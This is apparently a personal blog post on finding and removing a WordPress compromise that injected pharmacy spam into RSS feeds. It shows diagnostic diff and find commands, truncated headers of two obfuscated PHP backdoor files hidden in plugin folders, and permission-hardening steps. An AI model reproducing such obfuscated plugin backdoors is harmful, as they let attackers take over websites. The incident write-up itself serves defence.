A couple of times this year I’ve had to deal with a website hack that injects “spam” into the RSS feed. Specifically there were generic viagra related links and keywords placed into the first RSS entry when picked up by the google reader spider.

To be honest, I’d quietly put up with it and clear it in my own time, but I also host a friend’s blog on my server too (the internationally renowned Bickerstaffe Record). This had fallen to the same problem on a couple of occasions, so rather than just reinstall everything I thought I’d better take a look to see what’s happening.

I don’t normally delve into technical stuff here, but this should be quite quick and painless.

I knew that both sites were running the latest version of wordpress, so to be certain that everything was ok, I unpacked a copy of the latest wordpress into a new directory and ran a diff on both folders:

% diff ./wordpress/ ./www/

This reported that there were no differences between the distribution and the installed code. So the problem had to be with either the plugins or the configuration files.

Much of the research kicked up problems of iframe hacks and also remv.php files (check this). However neither related to the RSS feed being manipulated.

Finally I looked for hidden (dot) files with this:

% find . -name ".??*" -print
./wordpress-automatic-upgrade/js/.wp-wpau.cache.php
./akismet/.akismet.old.php

Running this on the second wordpress blog returned similar results – same file contents, but both in the akismet folder.

The files started with the following:

% head wordpress-automatic-upgrade/js/.wp-wpau.cache.php 
< ?php /*?#?#,,sess,XJyb3JfcmV
b3J0a
5nKDApO
0KJGFjdD0i
0FDVElPTl0iOyBnbG9iY

gJGFycl90bXBfc2hlbG
sJGJ1a
xkX3RtcF9zaGVsbDsgJGJ1a
xkX3RtcF9zaGVsbD0iMC4yIjsNCiRhcnJfdG1

and

% cut -c 1-400 ./akismet/.akismet.old.php 
< ?php (0xf7001E)?0x8b:(0xaE17A)?0xDEc52:(0xBfe8E)?0xFCD:
(0xE48a98)?0x1cDEe:(0x033A)?0xa1F:(0x8B953)?0xdAF6e80:(0x0c)?0xaFdD:
(0xdb2d3)?0x6D3:(0x4F60)?0xFd1f:(0xD63)?0xC1Cb46:(0x885d6)?0x5728:
(0xc78)?0xa9e:(0xC2Ad)?0xa17e6:(0xf963)?0x0Ce:(0xb8a94)?0xeC9fB:
(0x94B)?0xaDeF6B2:(0x9c64b4)?0x18a:(0xCCC6C)?0x1ab:(0xFdccD)?0x6E65:
(0x67Ee)?0x2A3c:(0xeB)?0xfCBfD:(0xcc62b)?0x5E1A50:(0x6c)?0x5eed:
(0x4F3f)?0xE1e

Deleting these two files stopped the problem, there's no other evidence of changes in either the database or in the wordpress folder.

Why did it happen? Well, I was lazy and wanted the wordpress automatic updates to work without too much thought - so I left the file permissions sufficiently open to allow web-based updating. Of course, this meant they were also open to be exploited, which is what happened.

Considering the location of the hidden files, I assume that there is a problem in one of the plugins.

I've changed both the ownership of the files and permissions as follows:

% cd /path/to/site/www
% chown -R steve:steve .       # basically any user not in the apache group
% find . -type d -exec chmod 755 {} \;
% find . -type f -exec chmod 644 {} \;

Let’s hope that’s the end of it. Hope this helps someone.